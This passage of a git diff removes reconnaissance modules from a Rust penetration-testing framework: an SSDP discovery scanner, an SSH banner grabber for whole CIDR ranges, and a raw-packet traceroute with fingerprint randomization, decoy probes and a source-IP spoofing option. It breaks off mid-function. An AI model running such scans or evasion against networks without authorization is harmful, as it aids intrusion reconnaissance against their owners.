Scan Statistics ===".bold()); - println!(" Target: {}:{}", target, port); - println!(" Search types: {}", search_targets.len()); - println!(" Retries: {}", retries); - println!(" Devices found: {}", if found_any { - results.len().to_string().green().to_string() - } else { - "0".red().to_string() - }); - println!(" Duration: {:.2}s", elapsed.as_secs_f64()); - - if !found_any { - println!(); - println!("{}", "[-] Target did not respond to any M-SEARCH requests".yellow()); - } - - // Save results if requested - if save_results && !results.is_empty() { - let filename = format!("ssdp_scan_{}.txt", target.replace([':', '.', '[', ']'], "_")); - if let Ok(mut file) = File::create(&filename) { - writeln!(file, "SSDP M-SEARCH Scan Results").ok(); - writeln!(file, "Target: {}:{}", target, port).ok(); - writeln!(file, "Duration: {:.2}s", elapsed.as_secs_f64()).ok(); - writeln!(file).ok(); - for result in &results { - writeln!(file, "{}", result).ok(); - } - println!("{}", format!("[+] Results saved to '{}'", filename).green()); - } - } - - Ok(()) -} - -async fn send_ssdp_request( - target: &str, - port: u16, - st: &SearchTarget, - timeout: Duration, - verbose: bool, -) -> Result> { - let local_bind: SocketAddr = "0.0.0.0:0".parse() - .context("Failed to parse local bind address")?; - - let socket = UdpSocket::bind(local_bind).await - .context("Failed to bind UDP socket")?; - - let remote_addr: SocketAddr = format!("{}:{}", target, port).parse() - .with_context(|| format!("Failed to parse remote address {}:{}", target, port))?; - - socket.connect(&remote_addr).await - .with_context(|| format!("Failed to connect to {}:{}", target, port))?; - - let request = format!( - "M-SEARCH * HTTP/1.1\r\n\ - HOST: {}:{}\r\n\ - MAN: \"ssdp:discover\"\r\n\ - MX: {}\r\n\ - ST: {}\r\n\ - USER-AGENT: RustSploit/1.0\r\n\r\n", - target, - port, - timeout.as_secs().max(1), - st.st_header() - ); - - if verbose { - println!(" [*] Sending request:\n{}", request.dimmed()); - } - - socket.send(request.as_bytes()).await - .context("Failed to send SSDP request")?; - - let mut buf = vec![0u8; 4096]; // Increased buffer size for larger responses - match tokio_timeout(timeout, socket.recv(&mut buf)).await { - Ok(Ok(size)) => { - let response = String::from_utf8_lossy(&buf[..size]).to_string(); - Ok(Some(response)) - } - Ok(Err(e)) => Err(anyhow::anyhow!("Failed to receive response: {}", e)), - Err(_) => Ok(None), // Timeout - } -} - -/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port -fn normalize_target(target: &str, port: u16) -> Result { - let addr = if target.contains(':') && !target.contains(']') { - // Plain IPv6 without brackets - format!("[{}]:{}", target, port) - } else if target.contains('[') { - // Already bracketed IPv6 (sanitize just in case) - format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port) - } else { - // IPv4 or hostname - format!("{}:{}", target, port) - }; - Ok(addr) -} - -/// Cleans up accidental double or triple brackets like [[::1]] → ::1 -fn clean_ipv6_brackets(ip: &str) -> String { - ip.trim_start_matches('[') - .trim_end_matches(']') - .to_string() -} - -/// Ask user for port (optional), fallback to 1900 if empty -fn prompt_port() -> Option { - print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold()); - if std::io::stdout().flush().is_err() { - return None; - } - let mut input = String::new(); - if std::io::stdin() - .read_line(&mut input) - .is_ok() - { - let input = input.trim(); - if input.is_empty() { - return None; - } - if let Ok(p) = input.parse::() { - return Some(p); - } - } - None -} - -/// Ask user for timeout in seconds -fn prompt_timeout() -> Option { - print!("{}", "[*] Enter timeout in seconds (default 3): ".cyan().bold()); - if std::io::stdout().flush().is_err() { - return None; - } - let mut input = String::new(); - if std::io::stdin() - .read_line(&mut input) - .is_ok() - { - let input = input.trim(); - if input.is_empty() { - return None; - } - if let Ok(t) = input.parse::() { - if t > 0 && t <= 60 { - return Some(t); - } - } - } - None -} - -/// Ask user for number of retries -fn prompt_retries() -> Option { - print!("{}", "[*] Enter number of retries (default 1): ".cyan().bold()); - if std::io::stdout().flush().is_err() { - return None; - } - let mut input = String::new(); - if std::io::stdin() - .read_line(&mut input) - .is_ok() - { - let input = input.trim(); - if input.is_empty() { - return None; - } - if let Ok(r) = input.parse::() { - if r > 0 && r <= 10 { - return Some(r); - } - } - } - None -} - -/// Ask user for verbose mode -fn prompt_verbose() -> Option { - print!("{}", "[*] Verbose output? [y/N]: ".cyan().bold()); - if std::io::stdout().flush().is_err() { - return None; - } - let mut input = String::new(); - if std::io::stdin() - .read_line(&mut input) - .is_ok() - { - let input = input.trim().to_lowercase(); - match input.as_str() { - "y" | "yes" => return Some(true), - "n" | "no" | "" => return Some(false), - _ => {} - } - } - None -} - -/// Ask user to save results -fn prompt_save_results() -> Option { - print!("{}", "[*] Save results to file? [y/N]: ".cyan().bold()); - if std::io::stdout().flush().is_err() { - return None; - } - let mut input = String::new(); - if std::io::stdin() - .read_line(&mut input) - .is_ok() - { - let input = input.trim().to_lowercase(); - match input.as_str() { - "y" | "yes" => return Some(true), - "n" | "no" | "" => return Some(false), - _ => {} - } - } - None -} - -/// Ask user for search targets -fn prompt_search_targets() -> Result> { - let mut targets = Vec::new(); - - println!("{}", "[*] Select SSDP Search Targets:".cyan().bold()); - println!(" 1. upnp:rootdevice (default)"); - println!(" 2. ssdp:all"); - println!(" 3. Custom ST"); - println!(" 4. All of the above"); - - print!("{}", "Enter choice [1-4, default 1]: ".cyan().bold()); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - - match input.trim() { - "1" | "" => { - targets.push(SearchTarget::RootDevice); - } - "2" => { - targets.push(SearchTarget::All); - } - "3" => { - print!("{}", "Enter custom ST: ".cyan().bold()); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut st_input = String::new(); - std::io::stdin() - .read_line(&mut st_input) - .context("Failed to read input")?; - let st = st_input.trim().to_string(); - if !st.is_empty() { - targets.push(SearchTarget::Custom(st)); - } else { - targets.push(SearchTarget::RootDevice); - } - } - "4" => { - targets.push(SearchTarget::RootDevice); - targets.push(SearchTarget::All); - } - _ => { - targets.push(SearchTarget::RootDevice); - } - } - - if targets.is_empty() { - targets.push(SearchTarget::RootDevice); - } - - Ok(targets) -} - -fn parse_ssdp_response(response: &str, target_ip: &str, port: u16, st: &str) -> Option { - let regexps = vec![ - ("server", r"(?i)Server:\s*(.*?)\r\n"), - ("location", r"(?i)Location:\s*(.*?)\r\n"), - ("usn", r"(?i)USN:\s*(.*?)\r\n"), - ("st", r"(?i)ST:\s*(.*?)\r\n"), - ("nt", r"(?i)NT:\s*(.*?)\r\n"), - ("cache-control", r"(?i)Cache-Control:\s*(.*?)\r\n"), - ("ext", r"(?i)EXT:\s*(.*?)\r\n"), - ]; - - let mut results: HashMap<&str, String> = HashMap::new(); - - for (key, pattern) in regexps { - if let Ok(re) = Regex::new(pattern) { - if let Some(caps) = re.captures(response) { - let value = caps.get(1) - .map(|m| m.as_str().trim()) - .unwrap_or("") - .to_string(); - results.insert(key, value); - } else { - results.insert(key, String::new()); - } - } - } - - // Check HTTP status - let status_line = response.lines().next().unwrap_or(""); - let status_ok = status_line.contains("200") || status_line.contains("HTTP/1.1"); - - if status_ok { - let st_value = results.get("st").or(results.get("nt")).unwrap_or(&st.to_string()).clone(); - let server = results.get("server").unwrap_or(&String::new()).clone(); - let location = results.get("location").unwrap_or(&String::new()).clone(); - let usn = results.get("usn").unwrap_or(&String::new()).clone(); - - let result_line = format!( - "{}:{} | ST: {} | Server: {} | Location: {} | USN: {}", - target_ip, port, st_value, server, location, usn - ); - - println!("{}", format!("[+] {}", result_line).green()); - - // Show additional headers if present - if let Some(cache) = results.get("cache-control") { - if !cache.is_empty() { - println!(" {} Cache-Control: {}", " |".dimmed(), cache.dimmed()); - } - } - - Some(result_line) - } else { - println!( - "{}", - format!("[!] {}:{} | Unexpected response: {}", target_ip, port, status_line) - .yellow() - ); - None - } -} diff --git a/src/modules/scanners/ssh_scanner.rs b/src/modules/scanners/ssh_scanner.rs deleted file mode 100644 index 73fe10b..0000000 --- a/src/modules/scanners/ssh_scanner.rs +++ /dev/null @@ -1,456 +0,0 @@ -//! SSH Service Scanner Module -//! -//! Based on SSHPWN framework - scans for SSH services and grabs banners. -//! Supports IPv4/IPv6, CIDR ranges, and concurrent scanning. -//! -//! For authorized penetration testing only. - -use anyhow::{anyhow, Result}; -use colored::*; -use std::{ - collections::HashSet, - fs::File, - io::{BufRead, BufReader, Read, Write}, - net::{SocketAddr, TcpStream, ToSocketAddrs}, - sync::{ - atomic::{AtomicBool, AtomicU64, Ordering}, - Arc, - }, - time::{Duration, Instant}, -}; - -use anyhow::Context; -use tokio::{ - sync::Semaphore, - task::spawn_blocking, - time::sleep, -}; -use ipnetwork::IpNetwork; - -const DEFAULT_SSH_PORT: u16 = 22; -const DEFAULT_TIMEOUT_SECS: u64 = 5; -const DEFAULT_THREADS: usize = 50; -const PROGRESS_INTERVAL_SECS: u64 = 2; - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ SSH Service Scanner ║".cyan()); - println!("{}", "║ Scan networks for SSH services and grab banners ║".cyan()); - println!("{}", "║ ║".cyan()); - println!("{}", "║ Features: ║".cyan()); - println!("{}", "║ - CIDR range support ║".cyan()); - println!("{}", "║ - IPv4/IPv6 support ║".cyan()); - println!("{}", "║ - Banner grabbing ║".cyan()); - println!("{}", "║ - Concurrent scanning ║".cyan()); - println!("{}", "║ - Results export ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -/// Statistics tracking -struct Statistics { - total_scanned: AtomicU64, - ssh_found: AtomicU64, - errors: AtomicU64, - start_time: Instant, -} - -impl Statistics { - fn new() -> Self { - Self { - total_scanned: AtomicU64::new(0), - ssh_found: AtomicU64::new(0), - errors: AtomicU64::new(0), - start_time: Instant::now(), - } - } - - fn record_scan(&self, found_ssh: bool, error: bool) { - self.total_scanned.fetch_add(1, Ordering::Relaxed); - if found_ssh { - self.ssh_found.fetch_add(1, Ordering::Relaxed); - } - if error { - self.errors.fetch_add(1, Ordering::Relaxed); - } - } - - fn print_progress(&self) { - let scanned = self.total_scanned.load(Ordering::Relaxed); - let found = self.ssh_found.load(Ordering::Relaxed); - let errors = self.errors.load(Ordering::Relaxed); - let elapsed = self.start_time.elapsed().as_secs_f64(); - let rate = if elapsed > 0.0 { scanned as f64 / elapsed } else { 0.0 }; - - print!( - "\r{} {} scanned | {} SSH | {} errors | {:.1}/s ", - "[Progress]".cyan(), - scanned.to_string().bold(), - found.to_string().green(), - errors.to_string().red(), - rate - ); - let _ = std::io::Write::flush(&mut std::io::stdout()); - } - - fn print_summary(&self) { - println!(); - println!("{}", "=== Scan Summary ===".cyan().bold()); - println!("Total scanned: {}", self.total_scanned.load(Ordering::Relaxed)); - println!("SSH services found: {}", self.ssh_found.load(Ordering::Relaxed).to_string().green()); - println!("Errors: {}", self.errors.load(Ordering::Relaxed)); - println!("Elapsed: {:.2}s", self.start_time.elapsed().as_secs_f64()); - } -} - -/// SSH scan result -#[derive(Clone, Debug)] -pub struct SshScanResult { - pub host: String, - pub port: u16, - pub banner: String, -} - -/// Grab SSH banner from a host -fn grab_ssh_banner(host: &str, port: u16, timeout_secs: u64) -> Option { - // Build address - let addr_str = if host.contains(':') && !host.starts_with('[') { - format!("[{}]:{}", host, port) - } else { - format!("{}:{}", host, port) - }; - - // Resolve and connect - let addrs: Vec = match addr_str.to_socket_addrs() { - Ok(a) => a.collect(), - Err(_) => return None, - }; - - if addrs.is_empty() { - return None; - } - - let timeout = Duration::from_secs(timeout_secs); - - for addr in addrs { - if let Ok(stream) = TcpStream::connect_timeout(&addr, timeout) { - let _ = stream.set_read_timeout(Some(timeout)); - let _ = stream.set_write_timeout(Some(timeout)); - - let mut stream = stream; - let mut buffer = [0u8; 256]; - - match stream.read(&mut buffer) { - Ok(n) if n > 0 => { - let banner = String::from_utf8_lossy(&buffer[..n]) - .trim() - .to_string(); - if banner.starts_with("SSH-") { - return Some(banner); - } - } - _ => {} - } - } - } - - None -} - -/// Parse targets from string (CIDR, range, single IP) -fn parse_targets(spec: &str, port: u16) -> Vec<(String, u16)> { - let mut targets = Vec::new(); - - for s in spec.split(&[',', ' ', '\n'][..]) { - let s = s.trim(); - if s.is_empty() { - continue; - } - - // Try CIDR - if s.contains('/') { - if let Ok(network) = s.parse::() { - for ip in network.iter().take(65536) { - targets.push((ip.to_string(), port)); - } - continue; - } - } - - // Try IP range (e.g., 192.168.1.1-254) - if s.contains('-') && s.contains('.') { - let parts: Vec<&str> = s.rsplitn(2, '.').collect(); - if parts.len() == 2 { - if let Some((start_str, end_str)) = parts[0].split_once('-') { - if let (Ok(start), Ok(end)) = (start_str.parse::(), end_str.parse::()) { - let base = parts[1]; - for i in start..=end { - targets.push((format!("{}.{}", base, i), port)); - } - continue; - } - } - } - } - - // Single IP/hostname - targets.push((s.to_string(), port)); - } - - targets -} - -/// Load targets from file -fn load_targets_from_file(path: &str, port: u16) -> Result> { - let file = File::open(path)?; - let reader = BufReader::new(file); - let mut targets = Vec::new(); - - for line in reader.lines() { - let line = line?; - let line = line.trim(); - if line.is_empty() || line.starts_with('#') { - continue; - } - - // Check for port override (host:port) - if let Some((host, port_str)) = line.rsplit_once(':') { - if let Ok(p) = port_str.parse::() { - targets.push((host.to_string(), p)); - continue; - } - } - - targets.push((line.to_string(), port)); - } - - Ok(targets) -} - -/// Main scan function -pub async fn scan_ssh( - targets: Vec<(String, u16)>, - threads: usize, - timeout_secs: u64, -) -> Vec { - let total = targets.len(); - println!("{}", format!("[*] Scanning {} targets...", total).cyan()); - - let results = Arc::new(tokio::sync::Mutex::new(Vec::new())); - let stats = Arc::new(Statistics::new()); - let semaphore = Arc::new(Semaphore::new(threads)); - let stop = Arc::new(AtomicBool::new(false)); - - // Progress reporter - let stats_clone = Arc::clone(&stats); - let stop_clone = Arc::clone(&stop); - let progress_handle = tokio::spawn(async move { - while !stop_clone.load(Ordering::Relaxed) { - stats_clone.print_progress(); - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - } - }); - - // Scan tasks - let mut handles = Vec::new(); - - for (host, port) in targets { - let semaphore = Arc::clone(&semaphore); - let results = Arc::clone(&results); - let stats = Arc::clone(&stats); - - let handle: tokio::task::JoinHandle> = tokio::spawn(async move { - let _permit = semaphore.acquire().await.context("Semaphore acquisition failed")?; - - let host_clone = host.clone(); - let result = spawn_blocking(move || { - grab_ssh_banner(&host_clone, port, timeout_secs) - }).await; - - match result { - Ok(Some(banner)) => { - stats.record_scan(true, false); - let result = SshScanResult { - host: host.clone(), - port, - banner: banner.clone(), - }; - println!("\r{}", format!("[+] {}:{} - {}", host, port, banner).green()); - let _ = std::io::Write::flush(&mut std::io::stdout()); - results.lock().await.push(result); - } - Ok(None) => { - stats.record_scan(false, false); - } - Err(_) => { - stats.record_scan(false, true); - } - } - Ok(()) - }); - - handles.push(handle); - } - - // Wait for all tasks - for handle in handles { - let _ = handle.await; - } - - // Stop progress reporter - stop.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - // Print summary - stats.print_summary(); - - let results = results.lock().await; - results.clone() -} - -/// Save results to file -fn save_results(results: &[SshScanResult], path: &str) -> Result<()> { - let mut file = File::create(path)?; - - writeln!(file, "# SSH Scan Results")?; - writeln!(file, "# Generated by RustSploit SSH Scanner")?; - writeln!(file, "# Total: {} SSH services found", results.len())?; - writeln!(file)?; - - for result in results { - writeln!(file, "{}:{} - {}", result.host, result.port, result.banner)?; - } - - println!("{}", format!("[+] Results saved to: {}", path).green()); - Ok(()) -} - -/// Prompt helper -fn prompt(message: &str) -> Result { - print!("{}: ", message); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - Ok(input.trim().to_string()) -} - -fn prompt_default(message: &str, default: &str) -> Result { - print!("{} [{}]: ", message, default); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim(); - if trimmed.is_empty() { - Ok(default.to_string()) - } else { - Ok(trimmed.to_string()) - } -} - -fn prompt_yes_no(message: &str, default: bool) -> Result { - let hint = if default { "Y/n" } else { "y/N" }; - print!("{} [{}]: ", message, hint); - std::io::stdout() - .flush() - .context("Failed to flush stdout")?; - let mut input = String::new(); - std::io::stdin() - .read_line(&mut input) - .context("Failed to read input")?; - let trimmed = input.trim().to_lowercase(); - match trimmed.as_str() { - "" => Ok(default), - "y" | "yes" => Ok(true), - "n" | "no" => Ok(false), - _ => Ok(default), - } -} - -/// Main entry point -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - let mut targets = Vec::new(); - - // Parse initial target - if !target.trim().is_empty() { - println!("{}", format!("[*] Initial target: {}", target).cyan()); - } - - // Get port - let port: u16 = prompt_default("SSH Port", "22")?.parse().unwrap_or(DEFAULT_SSH_PORT); - - // Get additional targets - let more_targets = prompt("Additional targets (comma-separated, CIDR, or leave empty)")?; - - // Add initial target - if !target.trim().is_empty() { - targets.extend(parse_targets(target, port)); - } - - // Add additional targets - if !more_targets.is_empty() { - targets.extend(parse_targets(&more_targets, port)); - } - - // Load from file? - if prompt_yes_no("Load targets from file?", false)? { - let file_path = prompt("File path")?; - if !file_path.is_empty() { - match load_targets_from_file(&file_path, port) { - Ok(file_targets) => { - println!("{}", format!("[*] Loaded {} targets from file", file_targets.len()).cyan()); - targets.extend(file_targets); - } - Err(e) => { - println!("{}", format!("[-] Failed to load file: {}", e).red()); - } - } - } - } - - // Deduplicate - let unique: HashSet<_> = targets.into_iter().collect(); - let targets: Vec<_> = unique.into_iter().collect(); - - if targets.is_empty() { - return Err(anyhow!("No targets specified")); - } - - println!("{}", format!("[*] Total unique targets: {}", targets.len()).cyan()); - - // Get scan options - let threads: usize = prompt_default("Concurrent threads", &DEFAULT_THREADS.to_string())? - .parse() - .unwrap_or(DEFAULT_THREADS); - let timeout: u64 = prompt_default("Connection timeout (seconds)", &DEFAULT_TIMEOUT_SECS.to_string())? - .parse() - .unwrap_or(DEFAULT_TIMEOUT_SECS); - - println!(); - - // Run scan - let results = scan_ssh(targets, threads, timeout).await; - - // Save results? - if !results.is_empty() && prompt_yes_no("Save results to file?", true)? { - let output_path = prompt_default("Output file", "ssh_scan_results.txt")?; - if let Err(e) = save_results(&results, &output_path) { - println!("{}", format!("[-] Failed to save: {}", e).red()); - } - } - - println!(); - println!("{}", format!("[*] SSH scanner complete. Found {} services.", results.len()).green()); - - Ok(()) -} - diff --git a/src/modules/scanners/stalkroute_full_traceroute.rs b/src/modules/scanners/stalkroute_full_traceroute.rs deleted file mode 100644 index 3c6f809..0000000 --- a/src/modules/scanners/stalkroute_full_traceroute.rs +++ /dev/null @@ -1,462 +0,0 @@ -use pnet_packet::ip::IpNextHeaderProtocols; -use pnet_packet::ipv4::{self, MutableIpv4Packet}; -use std::io::Write; -use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes}; -use pnet_packet::udp::{self, MutableUdpPacket}; -use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags}; -use pnet_packet::Packet; -use pnet_packet::icmp::IcmpPacket; -use std::sync::Arc; - -use rand::Rng; -use rand::distr::Alphanumeric; - -use std::net::{IpAddr, Ipv4Addr, SocketAddr}; - - - -use tokio::time::{Instant, Duration}; -use tokio::task; - -use socket2::{Domain, Protocol, Socket, Type}; - -use colored::*; - -use anyhow::{Result, Context, anyhow, bail}; - -use std::mem::MaybeUninit; - -const IPV4_FLAG_DF: u16 = 2; - - -const USE_RANDOM_OS_SIG: bool = true; -const SPOOF_SRC_IP_CONFIG: Option<&str> = None; -const JITTER_RANGE: (f32, f32) = (0.2, 1.1); -const MAX_TTL: u8 = 30; -const PROBE_COUNT: usize = 3; -const DECOY_PROB: f64 = 0.35; - -#[derive(Debug, Clone)] -struct OsSignatureParams { - id: u16, - tos: u8, - df_flag: bool, -} - -fn generate_os_signature() -> OsSignatureParams { - let mut rng = rand::rng(); - if !USE_RANDOM_OS_SIG { - return OsSignatureParams { - id: rng.random(), - tos: 0, - df_flag: false, - }; - } - - let sigs = [ - OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true }, - OsSignatureParams { id: rng.random(), tos: 0, df_flag: false }, - OsSignatureParams { id: rng.random(), tos: 0, df_flag: true }, - OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false }, - ]; - sigs[rng.random_range(0..sigs.len())].clone() -} - -#[derive(Debug, Clone, Copy, PartialEq)] -enum ProbeProtocolType { - Icmp, - Udp, - Tcp, -} - -impl ProbeProtocolType { - fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol { - match self { - ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp, - ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp, - ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp, - } - } - - fn to_string_lc(&self) -> String { - match self { - ProbeProtocolType::Icmp => "icmp".to_string(), - ProbeProtocolType::Udp => "udp".to_string(), - ProbeProtocolType::Tcp => "tcp".to_string(), - } - } -} - -#[derive(Debug)] -struct ReceivedIcmpInfo { - icmp_type: u8, - description: String, -} - -#[derive(Debug)] -struct ProbeSingleResponse { - source_ip: Ipv4Addr, - rtt_ms: f32, - icmp_info: ReceivedIcmpInfo, - probe_protocol_used: String, -} - -fn craft_probe_packet( - dst_ip: Ipv4Addr, - current_ttl: u8, - src_ip_override: Option, - icmp_id_val: u16, - icmp_seq_val: u16, -) -> Result<(Vec, ProbeProtocolType, OsSignatureParams)> { - const IPV4_HEADER_LEN: usize = 20; - - let mut rng = rand::rng(); - let sig = generate_os_signature(); - - let mut protocol_type = ProbeProtocolType::Icmp; - if rng.random_bool(DECOY_PROB) { - protocol_type = if rng.random_bool(0.5) { - ProbeProtocolType::Udp - } else { - ProbeProtocolType::Tcp - }; - } - - let payload_size = rng.random_range(24..=56); - let payload: Vec = rng.clone() - .sample_iter(&Alphanumeric) - .take(payload_size) - .map(|c| c as u8) - .collect(); - - let (transport_header_len, transport_packet_data) = match protocol_type { - ProbeProtocolType::Icmp => { - let mut buf = vec![0u8; 8 + payload.len()]; - let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create EchoRequest"))?; - pkt.set_icmp_type(IcmpTypes::EchoRequest); - pkt.set_icmp_code(echo_request::IcmpCodes::NoCode); - pkt.set_identifier(icmp_id_val); - pkt.set_sequence_number(icmp_seq_val); - pkt.set_payload(&payload); - let view = IcmpPacket::new(pkt.packet()).ok_or_else(|| anyhow!("Failed to create ICMP view"))?; - pkt.set_checksum(icmp::checksum(&view)); - (buf.len(), buf) - } - ProbeProtocolType::Udp => { - let mut buf = vec![0u8; 8 + payload.len()]; - let mut pkt = MutableUdpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create UDP packet"))?; - pkt.set_source(rng.random_range(33434..=65535)); - pkt.set_destination(rng.random_range(33434..=65535)); - pkt.set_length((8 + payload.len()) as u16); - pkt.set_payload(&payload); - let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0)); - pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip)); - (buf.len(), buf) - } - ProbeProtocolType::Tcp => { - let mut buf = vec![0u8; 20 + payload.len()]; - let mut pkt = MutableTcpPacket::new(&mut buf).ok_or_else(|| anyhow!("Failed to create TCP packet"))?; - pkt.set_source(rng.random_range(33434..=65535)); - pkt.set_destination(rng.random_range(33434..=65535)); - pkt.set_sequence(rng.random()); - pkt.set_acknowledgement(0); - pkt.set_data_offset(5); - pkt.set_flags(TcpFlags::SYN); - pkt.set_window(rng.random_range(1024..=65535)); - pkt.set_urgent_ptr(0); - pkt.set_payload(&payload); - let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0)); - pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip)); - (buf.len(), buf) - } - }; - - let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16; - let mut ip_buf = vec![0u8; total_len as usize]; - - let src_ip = src_ip_override - .or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().ok().flatten()) - .unwrap_or(Ipv4Addr::new(0,0,0,0)); - - { - let mut ip = MutableIpv4Packet::new(&mut ip_buf).ok_or_else(|| anyhow!("Failed to create IPv4 packet"))?; - ip.set_version(4); - ip.set_header_length(5); - ip.set_total_length(total_len); - ip.set_identification(sig.id); - ip.set_ttl(current_ttl); - ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol()); - ip.set_source(src_ip); - ip.set_destination(dst_ip); - ip.set_dscp(sig.tos >> 2); - ip.set_ecn(sig.tos & 0x03); - let mut flags = 0; - if sig.df_flag { - flags |= IPV4_FLAG_DF; - } - ip.set_flags(flags.try_into().unwrap_or(0)); - ip.set_payload(&transport_packet_data); - ip.set_checksum(ipv4::checksum(&ip.to_immutable())); - } - - Ok((ip_buf, protocol_type, sig)) -} - - - - -async fn send_and_receive_one( - target_final_dst_ip: Ipv4Addr, - probe_packet_bytes: &[u8], - probe_protocol: ProbeProtocolType, - probe_ip_id: u16, - probe_icmp_echo_id: u16, - probe_icmp_echo_seq: u16, - timeout: Duration, -) -> Result> { - let sender_socket = Socket::new( - Domain::IPV4, - Type::RAW, - Some(Protocol::from(libc::IPPROTO_RAW)), - ) - .context("Failed to create sender raw socket")?; - sender_socket - .set_header_included_v4(true) - .context("Failed to set IP_HDRINCL on sender socket")?; - - let receiver_socket = Arc::new( - Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4)) - .context("Failed to create receiver raw socket for ICMP")?, - ); - receiver_socket - .set_read_timeout(Some(Duration::from_millis(200))) - .context("Failed to set read timeout on receiver socket")?; - - let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0); - sender_socket - .send_to(probe_packet_bytes, &dst_addr.into()) - .context("Failed to send raw IP packet")?; - - let start = Instant::now(); - loop { - if start.elapsed() >= timeout { - return Ok(None); - } - - let sock_clone = receiver_socket.try_clone().context("Socket clone failed")?; - let recv = task::spawn_blocking(move || -> Result, SocketAddr)>, std::io::Error> { - let mut buf = [MaybeUninit::::uninit(); 1500]; - match sock_clone.recv_from(&mut buf) { - Ok((len, addr)) => { - // Safe conversion: we know len is valid and within buf bounds - if len > buf.len() { - return Err(std::io::Error::new(std::io::ErrorKind::InvalidData, "Invalid buffer length")); - } - let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) }; - let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?; - Ok(Some((slice.to_vec(), sock_addr))) - } - Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None), - Err(e) => Err(e), - } - }) - .await - .context("Blocking task for recv_from failed")?; - - if let Some((data, sa)) = recv? { - let rtt = start.elapsed().as_secs_f32() * 1000.0; - let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; }; - - if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) { - if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp { - if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) { - let icmp_type = icmp_pkt.get_icmp_type(); - let _ = icmp_pkt.get_icmp_code(); - let mut matched = false; - - if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable { - if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) { - if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id { - let proto = inner.get_next_level_protocol(); - match probe_protocol { - ProbeProtocolType::Icmp => { - if proto == IpNextHeaderProtocols::Icmp { - if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) { - if echo_req.get_icmp_type() == IcmpTypes::EchoRequest - && echo_req.get_identifier() == probe_icmp_echo_id - && echo_req.get_sequence_number() == probe_icmp_echo_seq - { - matched = true; - } - } - } - } - ProbeProtocolType::Udp | ProbeProtocolType::Tcp => { - if proto == probe_protocol.to_ip_next_header_protocol() { - matched = true; - } - } - } - } - } - } else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp { - if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) { - if reply.get_identifier() == probe_icmp_echo_id - && reply.get_sequence_number() == probe_icmp_echo_seq - && responder == target_final_dst_ip - { - matched = true; - } - } - } - - if matched { - let desc = match icmp_type { - IcmpTypes::EchoReply => "echo-reply".to_string(), - IcmpTypes::DestinationUnreachable => "unreachable".to_string(), - IcmpTypes::TimeExceeded => "time-exceeded".to_string(), - _ => format!("type {}", icmp_type.0), - }; - return Ok(Some(ProbeSingleResponse { - source_ip: responder, - rtt_ms: rtt, - icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc }, - probe_protocol_used: probe_protocol.to_string_lc(), - })); - } - } - } - } - } - - tokio::time::sleep(Duration::from_millis(10)).await; - } -} - -async fn execute_traceroute(target_name: &str) -> Result<()> { - println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan()); - - let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name)) - .await - .with_context(|| format!("Could not resolve target: {}", target_name))?; - - let mut target_ipv4: Option = None; - for sock_addr in resolved_ips { - if let IpAddr::V4(ipv4) = sock_addr.ip() { - target_ipv4 = Some(ipv4); - break; - } - } - - let dst_ip = match target_ipv4 { - Some(ip) => ip, - None => bail!("Could not resolve {} to an IPv4 address", target_name), - }; - - println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green()); - - let 